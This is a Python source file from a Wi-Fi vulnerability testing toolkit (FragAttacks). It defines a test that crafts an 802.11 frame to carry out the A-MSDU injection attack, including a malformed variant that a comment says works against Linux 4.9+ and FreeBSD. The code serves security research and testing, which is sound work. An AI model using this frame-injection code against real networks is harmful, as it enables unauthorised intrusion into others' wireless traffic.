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https://github.com/vanhoefm/fragattacks.git
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50 lines
1.5 KiB
Python
50 lines
1.5 KiB
Python
# Copyright (c) 2020, Mathy Vanhoef <mathy.vanhoef@nyu.edu>
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#
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# This code may be distributed under the terms of the BSD license.
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# See README for more details.
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from fraginternals import *
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class AmsduInject(Test):
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"""
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Inject a frame identical to the one the station would receive when performing
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the A-MSDU attack by injecting an IP packet with a specific identification field.
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"""
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def __init__(self, ptype, malformed=False):
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super().__init__([
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Action(Action.Connected, Action.GetIp, enc=True),
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Action(Action.Connected, Action.Inject, enc=True)]
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)
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self.ptype = ptype
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self.malformed = malformed
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def prepare(self, station):
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log(STATUS, "Generating A-MSDU attack test frame", color="green")
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# Generate the header and payload
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header, request, self.check_fn = generate_request(station, self.ptype)
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# This checks if the to-DS is set (frame towards the AP) --- XXX Utility function for this?
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if header.FCfield & 1 != 0:
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src = station.mac
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dst = station.get_peermac()
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else:
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dst = station.peermac
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src = station.bss
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# Put the request inside an IP packet
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if not self.malformed:
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p = header/LLC()/SNAP()/IP(dst="192.168.1.2", src="1.2.3.4", id=34)/TCP()
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# This works against linux 4.9 and above and against FreeBSD
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else:
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p = header/LLC()/SNAP()/IP(dst="192.168.1.2", src="3.5.1.1")/TCP()/Raw(b"A" * 748)
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p = p/create_msdu_subframe(src, dst, request, last=True)
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p[Dot11QoS].A_MSDU_Present = 1
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# Schedule transmission of frame
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self.actions[0].frame = p
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